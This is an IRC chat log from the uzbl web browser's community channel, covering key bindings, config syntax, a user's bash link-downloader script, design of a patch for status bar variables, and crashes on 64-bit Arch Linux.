12:27 < Evanlec> darn
12:27 < Dieterbe> Evanlec: feel free to make a feature request on the bugtracker
12:27 < Evanlec> Dieterbe: how about Ctrl+key
12:27 < Evanlec> or alt+arrow
12:28 < Tjh_> holizz: hmm i fixed it for now, but it just uses a non existannt config sometimes..
12:28 < Dieterbe> should short of be possible but i never use that myself Evanlec 
12:28 < Dieterbe> s/short/sort/
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12:29 < Evanlec> any ideas?
12:29 < Evanlec> hah Aaron Griffin is a contributor
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12:29 < Evanlec> nice
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12:35 < Rodya> i like bash, but sometimes its like beating my head on a clear diamond wall
12:36 < Evanlec> Rodya: zsh is a bit nicer ;)
12:37 < Rodya> i wouldn't be surprised, but i don't care to switch over everything i've got setup for bash right now
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12:47 < rob|> Rodya: how are you progressing with the download script?
12:48 < Rodya> i can get all of the links and dump them to a file just fine (if you wanted to use wget or something else to download them externally), now i am trying to have all of the uris copied into your clipboard, after that comes downloading them all with wget directly
12:49 < Rodya> then i'll see about more user friendly stuff, i just want something that works to start lol
12:50 < rob|> ah, ok. so be sure to post the script to the wiki once you get it working :)
12:50 < Rodya> k
12:53 < Dieterbe> Rodya: xclip is your friend :)
12:53 < Rodya> Dieterbe, working on that part right now =)
12:53 < Rodya> just fighting with bash to get it working right lol
12:54 < rob|> Rodya: btw, you can do that without temp files that would also be the preferred method
12:54 < rob|> like storing the links i a bash array (or list)
12:54 < Rodya> i'm not using tmp files, the only time a file is made is when you use the export bit, whose purpose is to output the links into a plaintext file
12:55 < rob|> i see, that seems reasonable
12:55 < Evanlec> darrh, i bound r = reload , now I can't type :reload ?
12:56 < rob|> that should work
12:56 < Rodya> because :reload starts with a : it should work fine
12:56 < Evanlec> tahts what i thought
12:57 < Evanlec> but when i type it, i just get 'eload' in the cmdline
12:57 < Evanlec> : isn't starting me on the cmdline it seems
12:57 < Evanlec> oh
12:57 < Evanlec> oops
12:58 < Evanlec> had a silly binding
12:58 < rob|> we should probably match the commands with a short timer (similar to vim) so we don't run into such issues
12:58 < Evanlec> no that was my fault
12:58 < Evanlec> i had : bound to somethin
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13:02 < murth> this might be a silly question, but in the uzbl config, ^ denotes Ctrl, but is there anything for Alt?
13:02 < Evanlec> murth: thnks for that info ;)
13:03 < murth> ha, no probs
13:03 < Evanlec> murth: hmm, i tried bind ^d = scroll_vert 150
13:03 < Evanlec> doesnt seemt o work tho
13:05 < murth> hmm.
13:05 < rob|> murth: well, that's just a "side effect". we don't have anything for non-typeable keys, yet
13:05 < rob|> Evanlec: you need a literal control
13:05 < Evanlec> rob|: how ?
13:06 < murth> Evanlec: I cn'tactually find an example, but I wsa sure I'd seen it somewhere.
13:06 < Evanlec> hmmm
13:06 < murth> rob|: thanks. it's not really a problem, but on me eeepc, alt-left/right arrow is so easy for back/forward. and I'm used to it from vimperator.
13:07 < rob|> Evanlec: type: CTRL-v CTRL-your_desired_char
13:07 < rob|> that will visually produce something like "^X"
13:07 < Evanlec> Oh
13:08 < murth> oh, my bad.
13:08 < Evanlec> in my terminal it produces ^D
13:08 < Evanlec> bind bind ^D  doesnt seemt o work either
13:08 < rob|> well if you typed ctrl-d after ctrl-v that's the expected result..
13:08 < Evanlec> indeed
13:09 < rob|> bind ctrl-v ctrl-whatever = uzbl_command
13:09 < Evanlec> oh
13:09 < Evanlec> i c
13:09 < Evanlec> sorta ;p
13:09 < murth> another question, I notice in the new default config search is /* , but I've usually seen it as /_ . Is there a difference?
13:10 < Evanlec> murth: works much better i think
13:10 < Evanlec> finds as you type
13:10 < Sekenre> hi folks, anyone know how to pass login credentials/cookies to wget so I can download files from a page I'm currently authenticated with?
13:10 < rob|> yes '*' will match incrementally
13:11 < rob|> that is, it will call the specified command for every single char you type
13:11 < Rodya> oh bash, why doest thou hate me
13:11 < murth> rob|: thanks, I vaguely remember reading that somewhere.
13:16 < holizz> Sekenre, --load-cookies. It might even be compatible with the format cookies.{rb,py} uses.
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13:22 < Rodya> xclip ftw
13:24 < mason-l> loool http://britneyspears.ac/lasers.htm
13:24 < mason-l> Hey guys
13:24 < mason-l> That was "Britney Spears' Guide to Semiconductor Physics" ^
13:28 < holizz> mason-l, Have you looked at holizz/new_window? I wonder if this would be useful for uzbl_tabbed...
13:30 < mason-l> holizz, I haven't checked it out yet, but I will. I have some work I'm finishing at th moment so I dont know if I can get around to it today.
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13:38 < Sekenre> holizz: thanks that should have worked but for some reason the site I'm using is not being added to the cookies file.
13:44 < Dieterbe> hehe mason-l , such pages make learning a more fun experience :)
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13:53 < mason-l> Dieterbe, I agree entirely. I've even bookmarked it to work through it this week :D
13:53 < Dieterbe> hehe
13:53 < Dieterbe> that's just a little too much for me :)
13:54 < murth> I remember some class mates referencing that britney spears site in out Solid State Science subject. oh what fun that was...
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13:59 < Dieterbe> :)
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14:04 < murth> umm, has ":" been removed as a valid binding starter?
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14:05 < murth> actually, I think my last question was a little premature,
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14:06 < Dieterbe> ':' is just a character like any other
14:10 < murth> I had an old script from the uzbl site that had "o" bound to "keycmd :open "
14:11 < murth> annd then ":open _" bound to "set uri = %s", and I'm trying to change the new default config into that, and failing
14:12 < murth> I get errors in the console of "command "open" not understood. ignoring
14:12 < murth> but I swear it is exactly the same syntax
14:15 < ruskie> bind    :o _       = uri %s
14:15 < ruskie> try that
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14:19 < murth> ruskie: "command "o" not understood. ignoring"
14:19 < murth> none of me :w fo wiki etc work
14:19 < murth> *my
14:20 < ruskie> and this after a reload?
14:20 < ruskie> and is :o bound BEFORE : ?
14:20 < ruskie> or : atleast unbound
14:21 < murth> yes
14:21 < murth> Oh, I have found the problem
14:21 < ruskie> so there is no bind : ?
14:22 < murth> in the new default config all the like wiki shortcuts etc are "/wiki" etc, because of the "bind :_ = chain %s"
14:22 < murth> I commented that line out and worked.
14:24 < murth> thanks for the help though
14:33 < Rodya> hrm, i seem to have accidentally gotten drunk
14:35 < ruskie> rofl
14:35 < Rodya> a double shot of bacardi 151 on an empty stomach was a bit much i guess >.<
14:36 < Rodya> oh well, time for another
14:36 < Phillemann> _What_ time is it in your timezone? :D
14:37 < ruskie> hmm alabama?
14:38 < Rodya> its 730 am
14:38 < Phillemann> Ah yes...beginning the day with alcohol. :)
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14:45 < MichaelRaskin> Who cares about defaults
14:45 < MichaelRaskin> They are only meant to be binding tutorial
14:45 < andash> rob|: is dat sum apple wine???
14:46 < rob|> i Massi, that is. and no it's not an apple wine
14:46 < andash> rob|: twas a joke... iMassi, apple, etc. :<
14:47 < rob|> oh man..
14:47 < rob|> silly me ;)
14:47 < andash> probably the worst joke ever. i always have to explain my jokes
14:49 < Dieterbe> :)
14:49 < Dieterbe> it was not that bad
14:51 < andash> :>
14:51 < andash> finally got uzbl working yesterday through a guide, yay. havent even started it yet. hope it lives up to all the hype i've been reading haha
14:53 < mason-l> andash, Which guide was that? for which system?
14:55 < andash> mason-l: debian squeeze. i was so glad to finally find a guide for the exact same distro and version i'm running...
14:55 < Rodya> stupid bash and stupid string comparisons
14:55 < mason-l> andash, Did the problems stem from not having the correct version of webkit installed?
14:56 < rob|> Rodya: (ba)sh ought to have the most intuitive way to compare strings..
14:56 < Rodya> that's what i thought, but its not working >.<
14:56 < rob|> what exactly?
14:57 < andash> mason-l: yup.. maybe you're familiar with debian, but anyway. i run squeeze which is the "testing" version, i had to add another repo from the unstable version and fiddle a bit with apt-preferences.
14:57 < Rodya> if [ $LINKS[$i] = $FILTERED[$j] ]; ... always is false
14:57 < Dieterbe> andash: care to share the url for that guide?
14:57 < andash> Dieterbe: yes of course, sec
14:58 < rob|> Rodya: it should be ${LINKS[$i]}
14:58 < andash> Dieterbe: http://blog.friedpancakes.com/index.php/2009/07/07/installing-uzbl-on-debian-squeeze/ there you go
14:58 < rob|> Rodya: in bash at least
14:58 < Rodya> tried that as well (that's what it is currently
14:59 < rob|> Rodya: better:  if [ x"${a[$i]}" = x"${b[$j]}" ] ...
14:59 < mason-l> Dieterbe, Do you see the little arrows around the buttons on the google homepage on that sites screenshot http://img291.imageshack.us/img291/9862/uzbl.png ? Thats the kind of arrows I have around my buttons as well :)
15:00 < andash> by the way, i haven't done much compiling before. at least not with projects like these, where there are updates frequently. if i want to upgrade my version of uzbl, do i just compile and install again?
15:00 < mason-l> andash, Its very easy to pull the latest version and recompile in the same directory with git.
15:00 < Dieterbe> mason-l: yes. didn't you already report this? or was that someone else..
15:01 < mason-l> Dieterbe, I never reported it but I did mention it. It hasn't really bugged me, I find them quite cool artifacts.
15:01 < andash> mason-l: yes ok! i was mostly wondering if i had to do a make uninstall or something similar to that. sounds good then
15:01 < mason-l> andash, Well yes that also :)
15:02 < andash> mason-l: so i do have to make uninstall or what? :p
15:02 < rob|> andash: no
15:03 < mason-l> andash, Yes.
15:03 < mason-l> lol
15:03 < andash> err..
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15:04 < mason-l> andash, When you want to reinstall: git pull origin master; make uninstall; make; sudo make install
15:04 < mason-l> You may or may not want a make clean in there somewhere but thats optional.
15:05 < mason-l> (At least thats how I do it :P)
15:05 < mason-l> (Though I use su)
15:05 < rob|> mason-l/andash: 'make uninstall' is only necessary if the structure of the example files changes (i.e. files being removed)
15:06 < rob|> otherwise just copying over the old files will work just fine
15:06 < mason-l> rob|, But if in doubt its not going to do any harm. ...
15:06 < rob|> sure
15:06 < andash> so i can mostly do it the rob|-way, but i should read the changelog etc to be sure maybe?
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15:07 < mason-l> andash, Which ever you prefer.
15:07 < rob|> well, the biggest harm that could be caused is having some obsolete files in /usr/share/uzbl
15:08 < andash> mason-l: i'd prefer the way with the least trouble, just making sure ;)
15:11 < Rodya> ok, wtf
15:13 < Rodya> echo ${#FILTERED[$i]} prints out zeros, and if [ ${#FILTERED[$i]} > 0 ]; ... comes out as true? -_-
15:13  * Rodya mumbles about not having done this in python
15:14 < bct> ahaha, my grandpa just added me on facebook :3
15:14 < Dieterbe> that's great
15:14 < Dieterbe> my grand* are too old for that stuff. even my parents are
15:14 < Rodya> my grandparents who had a computer got rid of it
15:14 < Dieterbe> my uncle uses youtube a bit though :)
15:14 < bct> he's a pretty cool dude.
15:15 < rob|> bct: just lookig at the code. seems to be ok so far, i also like you kept the uppercase notation so it's easy for the user to see what's a constant and what a var
15:17 < bct> cool, i wasn't sure whether people would like it.
15:17 < bct> back in 30min.
15:19 < Dieterbe> doesn't this clash with the other variables, who are lowercase?
15:19 < rob|> no
15:24 < rob|> so with's bct's patch we can now easily include any commands and javascript into the status/title bar and useragent string
15:25 < rob|> and we can make it to be either re-evaluated on every update or only on the first call
15:25 < rob|> s/first call/when the variable is set/
15:26 < Dieterbe> sorry, bad choice of words
15:27 < Dieterbe> what i meant was: you say he kept the uppercase notation, but right now already many variables are lowercase, this isn't really beatifull, or what am i missing?
15:27 < rob|> well, we now have writeable and read-only variables (let's call the latter constants). all variables all lower case all constants upper case
15:28 < rob|> that's very easy for the user to see what he can modify and what not
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15:29 < Dieterbe> aha, i can live with that
15:30 < Dieterbe> otoh .. it would be nice if they all were upper/lowercase. we could document which are readonly and which are not.  and besides, most cases it's quite intuive which you can change and which you cannot, imho
15:30 < murth> can someone test this site for me, http://www.optus.com.au/alwayswin to see if it's just me that can't enter anything into the flash item?
15:32 < rob|> murth: works for me, did you switch to insert mode?
15:33 < Dieterbe> rob|: you know what, after some more thinking i think both methods are fine.  so like this it's good for me
15:33 < rob|> Dieterbe: well, imo it is easier to just encode that information into the names. so you don't have to look it up but instantly see what's up with any given var
15:33 < murth> rob|: I did. however, since it also doesn't work in vimperator, i have no clue.
15:33 < rob|> murth: hmm, i just tried the mobile number field which works
15:36 < murth> rob|: I'm almost too ashamed to tell you why it wasn't working. I was trying to enter my prize code which started  with a letter... :(
15:36 < murth> works with a number.
15:36 < rob|> hehe
15:36 < rob|> tzs, and you tell me that after i took a screenshot http://omploader.org/vMXk3Yw ;)
15:37 < Dieterbe> lol murth 
15:38 < murth> sorry!!! I'm sure the site used to work where you put in the prize code first.
15:39 < Rodya> sleep time
15:39 < Dieterbe>  http://bbs.archlinux.org/viewtopic.php?pid=582191#p582191 woohoo ! 
15:39 < Dieterbe> more cool things for dmenu-vertical :)
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15:53 < bct> so for the status/title bar, i think @KEYCMD and @MODE need to get their values from function calls
15:54 < bct> keycmd is a gstring, so the actual string doesn't have a constant address
15:55 < rob|> well, it does uzbl.state.keycmd->str
15:55 < rob|> it's not constant, though
15:56 < rob|> still, we could turn it into a uzbl var and probably even get rid of the keycmd_* commands
15:57 < bct> yeah, that's the problem. the pointer to it in var_name_to_ptr would have to be updated every time a key is pressed
15:58 < bct> i suppose we could just allocate a fixed chunk of memory for keycommands, and if you want a command longer than (say) 1024 chars too bad.
15:58 < rob|> hmm
16:00 < bct> as for mode, we could just store the mode string every time the mode is set.
16:00 < bct> update it, rather.
16:00 < bct> i guess that's not a huge problem.
16:01  * Dieterbe realizes redirecting bct's pull request to rob| was a good idea
16:03 < rob|> right, we should just do that for mode
16:03 < rob|> but there must be better method to handle keycmd
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16:08 < bct> i think setting .ptr = NULL and .func = get_keycmd might be cleanest
16:09 < bct> get_keycmd would be called and return the current value every time @KEYCMD is expanded.
16:10 < rob|> right, that could work though it would be much nicer if we could actually write to keycmd.
16:10 < rob|> anyways, i guess we/you should just stick to method you just described
16:11 < rob|> and enhance it further when/if needed
16:11 < bct> oooh, i see what you're saying.
16:11 < bct> hmm, i'll look into that first.
16:11 < rob|> ok
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17:47 < romain> google maps seems to crashes uzbl
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17:50 < Dieterbe> hooraaay
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18:26 < rob|> romain: works fine for me
18:26 < rob|> zooming, scrolling, all views, etc.
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18:36 < romain> rob| I search "paris saint denis" and it crashes while loading
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19:12 < N30N_> romain: no crash here
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19:52 < miinar> hi
19:54 < jvogel> hi
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20:14 < miinar> phew... first steps with uzbl are hard
20:16 < ruskie> :)
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20:16 < scj> what part? if you think the instructions are vague, you could put a newbie guide with detailed instructions on the wiki
20:17 < rob|> yeah, a newbie guide if definitly a good idea
20:17 < rob|> maybe a bit too early, though
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20:22 < miinar> scj: aw... I'm using vimperator for long times and think I'm able to handle this kind of stuff
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20:23 < scj> just sayin', if you think it's tricky to set up, it might be a good idea to document it for others
20:25 < miinar> sure
20:25 < miinar> :)
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20:26 < miinar> I think the biggest problem is lazyness - currently
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20:47 < uranther> http://www.reddit.com/r/programming/comments/8zl3d/hannah_montana_linux/
20:48 < scj> wat
20:50 < uranther> lulz
20:53 < scj> totally unrelated, but I hate the term "power user". just wanted to get that off my chest
20:54 < miinar> there are two things I currently miss: something like shift-o in vimperator (aka modify the current uri) and something that i've forgotten instantly O_o
20:54 < uranther> it implies a dominance...
20:54 < miinar> ah yes... I want the statusbar only appearing if its needed
20:55 < scj> miinar: have a look at my config, I've bound o and O to work like vimperator http://www.uzbl.org/wiki/scj#config
20:58 < miinar> scj: thanks
20:59 < rob|_> miinar: how would you determine when the statusbar is needed? you can manually hide/show it, though
20:59 < miinar> ah I see... its as easy as I thought. Seems I like this project more and more
21:00 < miinar> rob|_: the statusbar is (in my opinion) not needed if it shows always the same. so it only needes to appear while loading a page and while typing some commands
21:01 < rob|_> well, the statusbar is a bit more flexible than that simple use case
21:02 < rob|_> it can show show all kind of information even output of external apps
21:02 < rob|_> *kinds
21:02 < rob|_> also how long should it be visible if needed (by your definition)?
21:03 < rob|_> there probably should be a setting for the timeout
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21:08 < scj> rob|: or you could just, yknow, script it
21:09 < rob|> sure, that's why i'd like the statusbar to have a powerful API if we decide for the plugin approach
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21:11 < miinar> rob|: a timeout value would be good ... and 2-3 seconds would be a good choice for a default
21:12 < rob|> personally i'd hate all that flicker
21:12 < N30N_> miinar: you can do it like this...
21:12 < N30N_> set load_start_handler = set show_status = 1
21:12 < N30N_> set load_finish_handler = js setTimeout((function() { var run=Uzbl.run; return function() { run("set show_status = 0") }})(), 3000)
21:13 < miinar> N30N_: but I need to activate it everytime I type or load something
21:14 < N30N_> oh right, I type to the title bar :)
21:16 < N30N_> miinar: you'll need to wait for the bind system to become more meture to do that
21:18 < miinar> N30N_: typing to the titlebar is a good choice I think... because I configured my FVWM to show the title of the current window at a good place
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21:52 < miinar> if uzbl works with webkit would it also work with chromium?
21:53 < scj> doubt it
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22:13 < miinar> is there an description for the output channels ($1 $2 ... $6)?
22:13 < bct> yes, i think it's in the readme.
22:13 < miinar> aw am I lazy! -.-
22:13 < miinar> :D
22:14 < miinar> got it, thanks
22:19 < miinar> aw I really like this thing :D
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22:23 < neldoreth> can someone here explain me how i can disconnect a signal (in my case the "move-focus-out" signal of GtkScrolledWindow), because this is associated by default with ctrl+tab - so i have no clue about the handler_id
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22:28 < miinar> scj: the "set uri = %s" thing in your config does not work for me...
22:28 < rob|> neldoreth: hmm, connect it to NULL as callback?
22:28 < scj> miinar: 'bind :open _ = set uri %s'?
22:29 < scj> forgot the second =
22:29 < neldoreth> rob|: hm ok - i connected it before with another callback, but i was not sure if this would be a nice/clean solution
22:29 < miinar> ah okay
22:30 < miinar> :w
22:30 < miinar> oops
22:31 < neldoreth> rob|: the thing is that i want the key combination (ctrl + tab) perform all the time the same thing - equal which widget/* is focussed
22:31 < rob|> neldoreth: not sure wether NULL is the correct way, gtk docs can be rather confusing in some cases
22:33 < neldoreth> yeah, thats true
22:34 < rob|> neldoreth: the easiest way would be to extend key_press_cb()
22:36 < neldoreth> rob|: hm, catch the specific shortcut and check if the focus is on a ScrolledWindow?
22:38 < rob|> hmm, why would you need to check for the focus? didn't you just say you want the action to take place regardless of the focused widget?
22:38 < neldoreth> right
22:44 < miinar> scj: I get a ": 1: cannot create : Directory nonexistent" if I try the shift-o from your config
22:44 < andash> yo, how would i bind ^f for example? ctrl-f that is
22:45 < bct> andash, put a literal ^f in your config file.
22:45 < bct> i've been told that works.
22:45 < andash> bct: i tried that though. or, you actually mean pressing ctrl-f? :p
22:45 < bct> yes.
22:46 < andash> well, doesnt give any output
22:46 < bct> if you're using vim you can hit ^V^F, i don't know about other editors.
22:46 < miinar> andash: you can use ctrl-v for that
22:46 < andash> bct: that worked, thank you. thank you too miinar
22:50 < miinar> ...
22:50 < miinar> damn lag -.-
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23:42 < andash> sorry for all the noob questions, but is flash supposed to work? uzbl crashed when i visited a couple of websites, so i tried youtube and it crashed so i'm guessing it's a flash problem. only error seems to be "GThread-ERROR **: Trying to recursivly lock a mutex at 'unknown', previously locked at 'unknown'"
23:42 < andash> tried verbose and it just printed all the GETs and stuff, nothing that seemed like an error
23:43 < andash> tried a single swf now and it crashed so i guess it's confirmed anyway...
23:44 < Rodya> i haven't had a problem with any flash i've tried
23:45 < andash> i see.. maybe i need to specify something when compiling? i have no idea. i'll try google
23:52 < andash> can't even visit uzbl.org, oh the irony :< well well, sleep now, bye.
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00:47 < miinar> hi again
00:47 < jrm8005> hai.
00:47 < miinar> have ever someone asked what "uzbl" means?
00:48 < jrm8005> `usable' rendered in an overdone Unix fashion to be <5 letters.
00:48 < miinar> *giggle* I see
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00:52 < jrm8005> so, anyone using it fulltime?
00:53 < bct> i am.
00:54 < bct> i'm not doing much webdev at the moment so i'm not missing firebug yet.
00:54 < bct> apart from that, firefox doesn't do anything for me that uzbl doesn't.
00:55 < jrm8005> wtf is firebug, anyway? I don't do much webdev, and I do it all in a flat text editor, so...
00:57 < scj> webinspector is pretty good I guess, but I still haven't figured out how to enter stuff in the js shell without going into a serious rage
00:57 < scj> the autocompletion is quite possibly the most annoying thing I have ever encountered
00:57 < jrm8005> oh, I meant I don't even know what it is or what it does :P
00:58 < bct> firebug does javascript debugging, html inspection, live css and html editing
00:58 < jrm8005> ah
00:58 < bct> and shows what http requests a page caused.
00:58 < miinar> jrm8005: just try firebug and you will see
00:58 < jrm8005> ooh, that sounds nice.
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00:58 < jrm8005> miinar: heh, I'll pass.
00:59 < miinar> firebug is the swiss army knife for live web debugging
00:59 < bct> i don't use it terribly often, but it's handy for figuring out why a page is loading slowly or what css rule is screwing up the page
01:00 < jrm8005> I imagine if you don't use it much, FF suffices :P
01:00 < bct> so jrm, have you thought of a good way for multiple uzbl processes to share one fs?
01:01 < jrm8005> bct: I have thought about it only a little, sadly, as I am so busy I don't know who I am anymore.
01:01 < bct> aha, i know that feeling :(
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01:02 < jrm8005> I'm not entirely sure... perhaps one FS per uzbl that gets mounted under something, or a global FS that dynamically talks via some channel to all uzbl.
01:02 < jrm8005> s
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01:04 < jrm8005> I'd really ahve to give it more thought.
01:05 < bct> uzbl.behave.always_insert_mode ?  TRUE : FALSE
01:05 < bct> lol
01:13 < scj> that's good coding
01:13 < Rodya> Well, I've got my downloader script working, including displaying a list of files to download with checkboxes to add or remove files from the list, and it supports regex for the filtering... I guess next I should add a way to set the download directory... Any ideas?
01:14 < bct> wow, sounds fancy.
01:14 < Rodya> I can display a file select dialog with zenity, it could be passed as an argument, it could be set in the config (but I don't know how)
01:14 < scj> regex => directory
01:15 < bct> you should get it to call the cookie handler.
01:15 < bct> and figure out how to get the request method and auth parameters from webkit.
01:15 < Rodya> that's a good idea
01:15 < jrm8005> I just download to /tmp and let the plumber figure out what to do with it :P
01:16 < Rodya> scj, will uzbl give me that as one whole string, ie "regex => directory"
01:16 < scj> uh, wat. I just suggested that it would be nice to have it map different regex matches to different download directories
01:17 < Rodya> oh, i see
01:17 < jrm8005> scj: Rodya: I think he means like *.jpg => /home/pics, *.mov => /home/porn
01:17 < miinar> what I really like is the virtual filesystem thing (aka 9fs) from wmii
01:17 < scj> in an terse and incomprehensible way :v
01:17 < jrm8005> miinar: yeah, if we can get that implemented it owuld be nice
01:18 < miinar> there is a library isnt it?
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01:18 < scj> and 9p2000 kernel support since 2.6.something
01:19 < bct> btw jrm8005, why did you suggest fuse instead of 9whatever (what wmii uses)
01:19 < Rodya> scj, if i add an argument for directories, you could do something like bind download torrent = spawn script -download -dir=$HOME/downloads in your config file to get that functionality, right? or will the whitespace between download and torrent break it?
01:20 < Rodya> err spawn script.sh torrent -download -dir=$HOME/downloads (forgot the pattern in the argument list heh)
01:20 < scj> Rodya: what language is the downloader written in?
01:20 < Rodya> bash
01:20 < jrm8005> Rodya: why not have the downloader pattern match what it is downloading?
01:20 < Rodya> jrm8005, huh? its a regex that will match any link(s) on the page for that uzbl instance
01:20 < jrm8005> just ahve a big if-else ladder trying to ~ the downloading file to a .ext, then picking the destination
01:21 < jrm8005> Rodya: ah, ok, I thought it was somethingsimpler.
01:21 < scj> like downloadthemall?
01:21 < Rodya> exactly
01:23 < holizz> Download The Mall.
01:23 < bct> to answer your question Rodya, if you go "bind download torrent" it will respond to "download torrent" exactly.
01:23 < Rodya> bct, thanks
01:23 < bct> if you go "bind download _", it will pass "torrent" as an argument to your script
01:25 < bct> (oops, i mean that if you have "%s" in your argument list, it will fill that in)
01:26 < bct> is anybody using keycmd_nl and keycmd_bs ?
01:27 < scj> i have no idea what they do
01:27 < Rodya> bct, that's how i have it currently, but i was thinking for a simple way to implement downloading a specific regex to a specific directory
01:27 < jrm8005> bct: those for newline and backspace?
01:27 < bct> yeah
01:27 < miinar> hum... why I cant change the mode indicator?
01:28 < miinar> tried something like "set insert_indicator = INS"
01:29 < miinar> and I use "MODE" in statusbar line
01:29 < scj> I get keycmd_bs but what does nl do, besides clearing it?
01:30 < bct> For example, `keycmd_nl o google.com` would load the said url if you have a binding like `bind o _ = uri %s`.
01:30 < scj> oh rite
01:32 < bct> `set keycmd = o google.com@<"\n">@` probably isn't an acceptable substitute :(
01:33 < bct> and keycmd_bs would look even worse like that.
01:33 < scj> is there a way to query the current keycmd?
01:34 < scj> uzblctrl -s $socket -c 'print @keycmd' doesnt work
01:38 < bct> that's what i'm working on right now.
01:38 < bct> making it a regular variable.
01:38 < bct> it would be nice if it was a writeable variable and we could do away with keycmd, keycmd_nl and keycmd_bs entirely
01:39 < bct> but i don't see a way to ditch _nl and _bs
01:39 < scj> _bs won't be necessary if the script can fetch the keycmd and strip the last char
01:40 < scj> _nl won't be necessary once we have some form of symbol, like <cr> or something
01:40 < miinar> how do I use special keys for bindings (like Left or PgUp)?
01:40 < scj> miinar: you can't atm
01:41 < miinar> scj: mmh... okay
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01:42 < scj> which is a shame, I really want bind <space> = scroll_vert 95%
01:42 < Evanlec> same here
01:42 < Evanlec> i wand C-d and C-u
01:43 < Evanlec> *want
01:43 < Evanlec> I want I want I want
01:43 < Evanlec> bct: develop faster pls thx
01:44 < scj> Evanlec: ^d and ^u works already
01:44 < Evanlec> eh, doesnt work for me
01:44 < scj> you have to enter the actual control character. in vim, type ^v^d
01:44 < Evanlec> just prints funky characters
01:44 < Evanlec> right i did that
01:44 < Evanlec> it just prints ^D
01:45 < scj> bind that and go hog wild
01:46 < Evanlec> it dont work ;p
01:47 < scj> ohwell, does for me
01:48 < Evanlec> for me it prints in the cmdline one of these
01:48 < Evanlec> nmah
01:48 < Evanlec> can't even copy it
01:49 < Evanlec> prints
01:49 < Evanlec> [[M!n2
01:51 < bct> burnt the roof of my mouth, now i'm too busy feeling this weird lump with my tongue to program.
01:51 < miinar> okay for now... thanks for this nice browser. I need to sleep
01:51 < Evanlec> bct: not good
01:52 < miinar> aw one thing
01:53 < miinar> why bind O = sh 'echo "keycmd :uri $6" > "$4" - doesnt work?
01:53 < miinar> I just forgot to copy the final '
01:53 < Evanlec> miinar: doesnt work for me either
01:53 < Evanlec> mah
01:54 < miinar> I get something like zsh: can't open input file:
01:54 < Evanlec> miinar: is O supposed to let u edit the current uri ?
01:54 < miinar> yes
01:54 < Evanlec> like vimp yea
01:54 < Evanlec> doesnt work here, doenst print anything
01:54 < bct> i've got sh 'echo "keycmd o$6" > "$4"'
01:54 < bct> looks identical to yours, weird.
01:54 < miinar> maybe just the : is the problem=
01:54 < miinar> ?
01:55 < bct> shouldn't be
01:55 < Evanlec> yeaa
01:55 < scj> miinar: define doesn't work. does it show up on the statusbar but doesn't do anything when you press enter?
01:55 < miinar> no it isnt
01:55 < Evanlec> bct: wtf, even bind O  = sh 'echo "keycmd o$6" > "$4"'
01:55 < Evanlec> doesnt work :(
01:56 < miinar> it does simply nothing
01:56 < Evanlec> doesnt show up anything here
01:56 < scj> close down all instances of uzbl and clear out any residual fifo files from fifo_dir and try again
01:56 < miinar> okay ...
01:57 < Evanlec> uzbl doesnt seem to put anything in my fifo_dir
01:57 < miinar> where do I find them?
01:58 < miinar> aw tmp
01:58 < Evanlec> miinar: do you have any? i dont think i've had anything go in there yet
01:58 < Evanlec> oh shit
01:58 < miinar> I dont find any
01:59 < Evanlec> it made on now
01:59 < Evanlec> but thats because it didnt clean it up because it crashed
01:59 < Evanlec> miinar: try opening phoronix.com in uzbl for me
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01:59 < Evanlec> mine segfaults
02:00 < scj> hmm, phoronix.com works for me
02:00 < Evanlec> i get a Unsafe Javascript attempt
02:00 < Evanlec> and shortly after a segfault
02:00 < bct> Evanlec, you on Arch x86_64?
02:00 < Evanlec> bct: yes
02:01 < scj> webkit seems to have some weird behaviour with x86_64
02:01 < bct> then it's probably the same as other segfaults people have been seeing.
02:01 < Evanlec> crap
02:01 < Evanlec> so I'm FUBAR'd
02:01 < bct> the Unsafe Javascript is an interesting twist though, i hadn't heard about that
02:01 < Evanlec> console message:  @1: Unsafe JavaScript attempt to access frame with URL http://www.phoronix.com/scan.php?page=home from frame with URL http://delb.opt.fimserve.com/adopt/?r=h&l=a6f9a062-38f6-4b81-8e67-72d0fc6cb308&sz=728x90&rnd=7854706. Domains, protocols and ports must match.
02:01 < scj> Evanlec: apparently it works if you revert and compile it with gcc4.3
02:01 < miinar> Evanlec: okay  its open
02:01 < miinar> okay it *was*
02:02 < Evanlec> lol
02:02 < Cheeseum> it's like webkit and gcc haet 64 bits
02:02 < miinar> I get a segfault a few seconds after opened phoronix
02:02 < Evanlec> the ironic thing is that gcc+64bits also sucks when compiling firefox
02:02 < bct> aah, maybe that's why it's working for me. i've got gcc 4.3
02:02 < Evanlec> miinar: same, you're on arch64?
02:02 < miinar> yepp
02:03 < bct> what version is standard for arch?
02:03 < scj> 4.4 now
02:03 < Evanlec> bct: we have a uzbl-git package
02:03 < Evanlec> oh
02:03 < Evanlec> yea 4.4
02:03 < scj> as of this week, I think
02:03 < miinar> 4.4.0 currently
02:03 < bct> aha.
02:03 < Evanlec> yar, 4.4.0
02:03 < Evanlec> also have gcc-snapshot with is 4.5
02:03 < bct> wowee
02:04 < bct> man, gentoo is not bleeding edge at all any more :(
02:04 < Evanlec> yea, was trying to use that to build ff 3.5 pgo
02:04 < scj> gentoo is dead
02:04 < Evanlec> but apparently its impossible
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02:04 < miinar> scj: hard words
02:04 < Evanlec> and tracemonkey is fkin disabled in linux 64 !
02:04 < Evanlec> that really pissed me off
02:05 < miinar> okay I really need to sleep now
02:05 < miinar> its 2am here -.-
02:05 < Evanlec> miinar: hardly late
02:05 < scj> if you have less that 4gb of memory, there is little reason to go 64
02:05 < Evanlec> just scored 3072 on google v8 with uzbl
02:06 < Evanlec> scj: none of that talk
02:06 < scj> just sayin
02:06 < Evanlec> there is little reason NOT to go 64
02:06 < bct> scj: sure there is, it prevents me from installing flash.
02:06 < miinar> my problem is that I've visited the doc today because I wasn't able to sleep for the last 4 days
02:06 < scj> besides the fact that alot of stuff doesn't work?
02:06 < Evanlec> a lot of stuff like what
02:07 < scj> uzbl? :)
02:07 < miinar> bct: its easy on arch to install flash
02:07 < Evanlec> ;p
02:07 < Evanlec> flash is fine now that its 64bit
02:07 < bct> the only thing i've run into that i'm interested in that doesn't work on x86_64 is some language for programming music that i don't remember
02:07 < Evanlec> it was rather a nightmare before though
02:07 < bct> miinar, i want it to be as hard to install flash as possible :P
02:07 < Evanlec> lol
02:08 < bct> for my own productivity's sake.
02:08 < miinar> so good night folks ...I'm sure I'm back tomorrow
02:08 < Evanlec> goodnite
02:09 < Evanlec> its amazing to me that on google v8 i score 3155 in uzbl and 190 in ff 3.5-rc2
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02:10 < Evanlec> such a huge disparity it makes me think the test is bugged or rigged
